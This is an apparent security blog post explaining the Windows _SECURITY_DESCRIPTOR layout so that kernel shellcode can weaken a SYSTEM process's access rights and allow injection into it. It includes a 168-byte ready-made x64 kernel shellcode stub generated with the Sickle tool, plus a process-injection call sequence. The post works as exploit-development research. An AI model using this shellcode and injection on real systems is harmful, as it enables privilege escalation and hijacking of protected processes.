Software - General
1856223 Members
4958 Online
104111 Solutions
New Discussion

Understanding the Windows _SECURITY_DESCRIPTOR

 
Melissa_G
HPE Blogger

Understanding the Windows _SECURITY_DESCRIPTOR

Disclaimer: This content is intended for educational and defensive awareness purposes only. It does not constitute advice, endorsement, or authorization to engage in unauthorized testing, exploitation, or any activity that may be unlawful or contrary to contractual or ethical obligations. Readers are responsible for ensuring their use of any information shared here complies with applicable laws, regulations, and policies.
 
Understanding the Windows _SECURITY_DESCRIPTOR
Author

wetw0rk


The following writeup is my approach to understanding the _SECURITY_DESCRIPTOR structure. The key objective from understanding this structure is to inject shellcode into a target process from the kernel during exploitation.

In this case, our objective is to inject into winlogon.exe by modifying the _SECURITY_DESCRIPTOR.

Keep in mind the stub created from the analysis cannot be used remotely in its current state and was written to work locally.


Table of Contents
 
We love to RERE listening to RIRI
Generating the Shellcode (Sickle)
Resources
We love to RERE listening to RIRI

Let’s take a look at the structure

 
 
typedef struct _SECURITY_DESCRIPTOR {
UCHAR Revision;
UCHAR Sbz1;
SECURITY_DESCRIPTOR_CONTROL Control;
PSID Owner;
PSID Group;
PACL Sacl;
PACL Dacl;
} SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;

To get to the SecurityDescriptor, we need to read from an offset of -0x30 of the _EPROCESS structure. This will lead us to the location of the _OBJECT_HEADER structure for a given “object” or “process”.

Once found, we can extract the address of the _SECURITY_DESCRIPTOR

NOTE: THE LAST FOUR BITS MUST BE ZEROED OUT AS PER FAST REF "RULES"

It’s important to note that in the following images Ace-> SID normally has the value S-1-5-15 however during experimentation I changed it for theoretical testing of the shellcode I was developing.

blog1.png

Immediately we can see this is different than the structure we saw at the start of our analysis (or at least not as straight forward). To further parse this we can use the !sd command in WinDbg.

 

blog2.png

Clearly for WinDbg to provide this information to us it needed to iterate over the structure. How could we map this ourselves?

To begin with we have the _SECURITY_DESCRIPTOR

 

blog3.png

 

Next, we have the _ACL and ACE entries. The most confusing being the ACCESS_ALLOWED_ACE which essentially is made up of an ACE_HEADER, MASK, and SID:
 
blog4.png
We can determine sizes of each member as per MSDN documentation.
 
blog5.png
 

With this newfound information let’s break down the offsets of these structures / objects.

Ultimately our goal is to leverage this knowledge to write our shellcode to the target process.

Object / Structure Offset _SECURITY_DESCRIPTOR 0x00 _ACL 0x30 Ace[0] 0x38

 

With this newfound information let’s break down the offsets of these structures / objects.

Ultimately our goal is to leverage this knowledge to write our shellcode to the target process.

Object / Structure                  Offset
_SECURITY_DESCRIPTOR      0x00
_ACL                                          0x30
Ace[0]                                       0x38

 


Generating the Shellcode (Sickle)
Having “reverse engineered” the overall layout of these structures we can now implement this shellcode stub into Sickle. All we need to do in order to accomplish our goal is modify the SID entry of a given process from the SYSTEM SID (S-1-5-18) to THIS ORGANIZATION (S-1-5-15), which will allow any logged in user to access the process. In addition to this we needed to modify the MandatoryPolicy.

I won’t go into details on how to accomplish this since Matteo Malvica wrote an excellent blog covering this in more detail.

That said, as of Sickle v4.0.0 we can now generate this shellcode stub against not only our original target process but others as well.

 

$ python3 sickle.py -p windows/x64/kernel_ace_edit -i

Usage information for windows/x64/kernel_ace_edit

Name: Windows (x64) Kernel ACE Edit
Module: windows/x64/kernel_ace_edit
Architecture: x64
Platform: windows
Ring: 0

Author(s):
Morten Schenk
Matteo Malvica
wetw0rk

Tested against:
Windows 10 (10.0.19045 N/A Build 19045)
Windows 10 (10.0.17763 N/A Build 17763)

Argument Information:

Name Description Optional
---- ----------- --------
PROCESS Target process to modify yes

Module Description:

This stub modifies the Ace[0] entry of a given processes _SECURITY_DESCRIPTOR,
specifically the SID entry. Upon completion it will modify the MandatoryPolicy to
allow us to later inject into a target process when returning to userland.

To use this shellcode properly you will need to handle injection from userland, first
generate the shellcode:

sickle.py -p windows/x64/kernel_ace_edit PROCESS=dllhost.exe -f c

Once shellcode is inserted into exploit, ensure that you have code similar to the
following pseudo code:

shellcode = <code to be injected>

OpenProcess()
VirtualAllocEx()
WriteProcessMemory()
CreateRemoteThread()

If everything went well, you should have successfully obtained code execution.

WARNING: ASSUME KERNEL SHELLCODE DOES NOT HANDLE RETURN TO USERLAND!!

Example:

   sickle.py -p windows/x64/kernel_ace_edit PROCESS=dllhost.exe -f c


Example shown below:

$ python3 sickle.py -p windows/x64/kernel_ace_edit PROCESS=dllhost.exe -f c
// sickle.py -p windows/x64/kernel_ace_edit PROCESS=dllhost.exe -f c
// size: 168 bytes
unsigned char buf[] =
"\x48\x31\xc0\x65\x48\xa1\x88\x01\x00\x00\x00\x00\x00\x00"
"\x48\x8b\x80\xb8\x00\x00\x00\x48\x89\xc3\x48\x8b\x80\x48"
"\x04\x00\x00\x48\x2d\x48\x04\x00\x00\x4d\x31\xc0\x49\xc7"
"\xc0\xa8\x05\x00\x00\x49\xbc\x64\x6c\x6c\x68\x6f\x73\x74"
"\x2e\x4e\x3b\x24\x00\x75\xd9\x49\x83\xc0\x08\x66\x41\xbc"
"\x65\x78\x66\x46\x3b\x24\x00\x49\x83\xc0\x02\x42\x80\x3c"
"\x00\x65\x48\x89\xc2\x48\x83\xea\x30\x48\x8b\x52\x28\x48"
"\x83\xe2\xf0\x48\x83\xc2\x30\x8b\x4a\x04\x48\x83\xc2\x08"
"\x4d\x31\xc0\x4d\x31\xc9\x66\x44\x8b\x4a\x02\x83\x7a\x10"
"\x12\x74\x0c\xff\xc9\x4c\x01\xca\x83\xf9\x00\x75\xe8\xeb"
"\x1a\xc7\x42\x10\x0f\x00\x00\x00\x4c\x8b\x8b\xb8\x04\x00"
"\x00\x49\x83\xe1\xf0\x41\xc6\x81\xd4\x00\x00\x00\x00\x90";


Resources
https://github.com/wetw0rk/Sickle
https://www.matteomalvica.com/blog/2019/07/06/windows-kernel-shellcode/
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/628ebb1d-c509-4ea0-a10f-77ef97ca4586
https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-acl
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_sid
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_acl
https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-control
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_security_descriptor
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_security_descriptor